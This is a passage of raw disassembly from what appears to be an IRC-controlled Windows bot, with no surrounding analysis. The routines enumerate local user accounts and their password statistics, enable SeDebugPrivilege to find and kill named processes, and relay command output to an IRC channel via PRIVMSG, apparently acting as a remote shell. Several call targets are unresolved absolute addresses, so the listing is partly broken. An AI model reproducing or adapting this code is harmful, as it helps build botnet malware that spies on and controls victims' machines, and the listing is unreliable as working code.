esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439170 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439360 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43932C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 26B0000h nop lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_439694 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439668 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 2700598h nop push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 2651957h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 28010A9h nop test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439720 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 26F0A14h test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 26F0A14h nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_43989C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439878 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 267020Dh mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 26F0A14h test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 2651957h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396BCh, 7539E890h, 0E3EB0224h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC call near ptr 26E0000h nop test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h call near ptr 2660F57h nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 call near ptr 2801997h nop test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 nop call near ptr 28014E8h test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah nop call near ptr 2660F57h jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 26F0000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439948 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 